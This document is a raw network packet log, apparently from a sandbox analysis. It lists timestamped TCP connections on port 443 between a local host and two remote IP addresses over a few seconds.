Nov 14, 2024 20:43:44.196279049 CET	443	49960	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:44.297113895 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.349179029 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.391571999 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.391582012 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.392473936 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.392477989 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.499298096 CET	443	49966	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.499768019 CET	49966	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.499805927 CET	443	49966	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.500427961 CET	49966	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.500449896 CET	443	49966	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.517395020 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.517456055 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.517625093 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.517779112 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.517795086 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.517903090 CET	49965	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.517906904 CET	443	49965	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.521975994 CET	49970	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.522000074 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.522054911 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.522114038 CET	49970	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.522496939 CET	49967	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.522507906 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.522921085 CET	49967	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.522923946 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.523226976 CET	49970	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.523236990 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.612113953 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.620091915 CET	49968	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.620107889 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.620523930 CET	49968	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.620529890 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.627580881 CET	443	49966	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.628436089 CET	443	49966	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.628515959 CET	49966	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.643157005 CET	49966	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.643177032 CET	443	49966	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.651540995 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.651700974 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.651760101 CET	49967	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.651952982 CET	49967	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.651952982 CET	49967	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.651959896 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.651967049 CET	443	49967	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.662405968 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.662457943 CET	443	49971	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.662715912 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.669174910 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.669190884 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.669306040 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.672507048 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.672516108 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.675518990 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.675595999 CET	443	49971	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.746774912 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.746841908 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.746951103 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.747005939 CET	49968	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.749041080 CET	49968	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.749047041 CET	443	49968	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.753914118 CET	49973	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.754000902 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.754090071 CET	49973	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.762343884 CET	49973	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.762377977 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.851135015 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.851594925 CET	49969	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.851640940 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.852015018 CET	49969	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.852024078 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.983319044 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.983378887 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.983532906 CET	49969	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.983589888 CET	49969	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.983589888 CET	49969	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.983613968 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.983628035 CET	443	49969	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.985804081 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.985826015 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:44.986006975 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.986171007 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:44.986182928 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.257451057 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.258599997 CET	49970	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.258618116 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.259890079 CET	49970	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.259896040 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.298028946 CET	49975	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.298058987 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.298111916 CET	49975	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.298355103 CET	49976	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.298388958 CET	443	49976	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.298578978 CET	49976	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.298837900 CET	49975	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.298847914 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.303525925 CET	49976	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.303559065 CET	443	49976	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.389355898 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.389590025 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.389646053 CET	49970	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.389725924 CET	49970	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.389740944 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.389754057 CET	49970	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.389758110 CET	443	49970	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.391892910 CET	49977	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.391980886 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.392198086 CET	49977	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.392596960 CET	49977	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.392640114 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.399257898 CET	443	49971	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.399611950 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.399692059 CET	443	49971	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.399998903 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.400015116 CET	443	49971	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.412868023 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.413177013 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.413191080 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.413598061 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.413603067 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.530030012 CET	443	49971	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.530095100 CET	443	49971	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.530335903 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.530335903 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.530335903 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.533679008 CET	49978	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.533767939 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.533860922 CET	49978	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.534012079 CET	49978	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.534049034 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.542136908 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.542208910 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.542273998 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.542287111 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.542337894 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.542454958 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.542454958 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.542454958 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.544400930 CET	49979	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.544487000 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.544588089 CET	49979	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.544734955 CET	49979	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.544770956 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.554538965 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.554881096 CET	49973	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.554961920 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.555246115 CET	49973	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.555258989 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.698548079 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.698735952 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.698904037 CET	49973	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.698976994 CET	49973	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.698977947 CET	49973	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.699014902 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.699042082 CET	443	49973	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.700835943 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.700865030 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.701020956 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.701143980 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.701169014 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.708575964 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.708945990 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.708957911 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.709928989 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.709934950 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.837404966 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.837479115 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.837517977 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.837616920 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.837616920 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.837685108 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.837685108 CET	49974	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.837698936 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.837706089 CET	443	49974	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.840109110 CET	49981	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.840130091 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.840198040 CET	49981	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.840352058 CET	49981	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.840368032 CET	443	49981	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.844747066 CET	49971	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.844779015 CET	443	49971	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.845062971 CET	49972	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:45.845074892 CET	443	49972	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:45.956882954 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.957132101 CET	49975	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.957144022 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.957595110 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.957957983 CET	49975	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.958030939 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.958102942 CET	49975	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.974409103 CET	443	49976	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.974602938 CET	49976	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.974617958 CET	443	49976	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.975151062 CET	443	49976	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.975414991 CET	49976	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:45.975495100 CET	443	49976	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:45.999408007 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:46.017277956 CET	49976	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:46.164561033 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.165115118 CET	49977	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.165208101 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.165417910 CET	49977	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.165435076 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.263581038 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.264158010 CET	49978	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.264250040 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.264560938 CET	49978	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.264576912 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.293320894 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.293706894 CET	49979	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.293792009 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.294058084 CET	49979	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.294074059 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.301175117 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.301237106 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.301309109 CET	49977	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.301439047 CET	49977	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.301471949 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.301498890 CET	49977	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.301515102 CET	443	49977	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.304105043 CET	49982	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.304202080 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.304302931 CET	49982	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.304434061 CET	49982	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.304469109 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.398170948 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.398224115 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.398381948 CET	49978	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.398497105 CET	49978	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.398542881 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.398574114 CET	49978	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.398588896 CET	443	49978	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.401130915 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.401149988 CET	443	49983	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.401344061 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.401493073 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.401505947 CET	443	49983	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.424587965 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.424674988 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.424742937 CET	49979	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.425045967 CET	49979	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.425086021 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.425128937 CET	49979	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.425144911 CET	443	49979	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.427752018 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.427776098 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.427836895 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.427954912 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.427968979 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.450727940 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.451126099 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.451162100 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.451518059 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.451529026 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.580677986 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.581068039 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.581118107 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.581115961 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.581175089 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.581202030 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.581219912 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.581244946 CET	49980	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.581255913 CET	443	49980	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.583661079 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.583707094 CET	443	49985	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.583776951 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.583942890 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:46.583972931 CET	443	49985	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:46.653753042 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:46.653954029 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:46.654002905 CET	49975	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:46.654192924 CET	49975	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:46.654208899 CET	443	49975	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:47.108036995 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.108541012 CET	49982	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.108572006 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.109003067 CET	49982	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.109014034 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.145950079 CET	443	49983	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.146280050 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.146301985 CET	443	49983	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.146646023 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.146651030 CET	443	49983	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.164129972 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.164532900 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.164546967 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.164890051 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.164896011 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.244359016 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.244401932 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.244532108 CET	49982	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.244667053 CET	49982	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.244679928 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.244689941 CET	49982	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.244695902 CET	443	49982	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.247174025 CET	49986	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.247184992 CET	443	49986	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.247258902 CET	49986	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.247400999 CET	49986	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.247412920 CET	443	49986	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.278706074 CET	443	49983	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.279259920 CET	443	49983	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.279403925 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.279403925 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.279403925 CET	49983	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.281184912 CET	49987	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.281222105 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.281282902 CET	49987	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.281388998 CET	49987	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.281407118 CET	443	49987	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.296087980 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.296118975 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.296165943 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.296183109 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.296220064 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.296334028 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.296343088 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.296353102 CET	49984	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.296356916 CET	443	49984	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.298333883 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.298360109 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.298435926 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.298568010 CET	49988	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.298595905 CET	443	49988	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.316414118 CET	443	49985	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.316761971 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.316787958 CET	443	49985	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.317102909 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.317109108 CET	443	49985	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.446624041 CET	443	49985	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.446885109 CET	443	49985	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.446986914 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.446986914 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.446986914 CET	49985	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.449564934 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.449652910 CET	443	49989	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:47.449744940 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.449872017 CET	49989	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:47.449912071 CET	443	49989	13.107.246.45	192.168.2.4
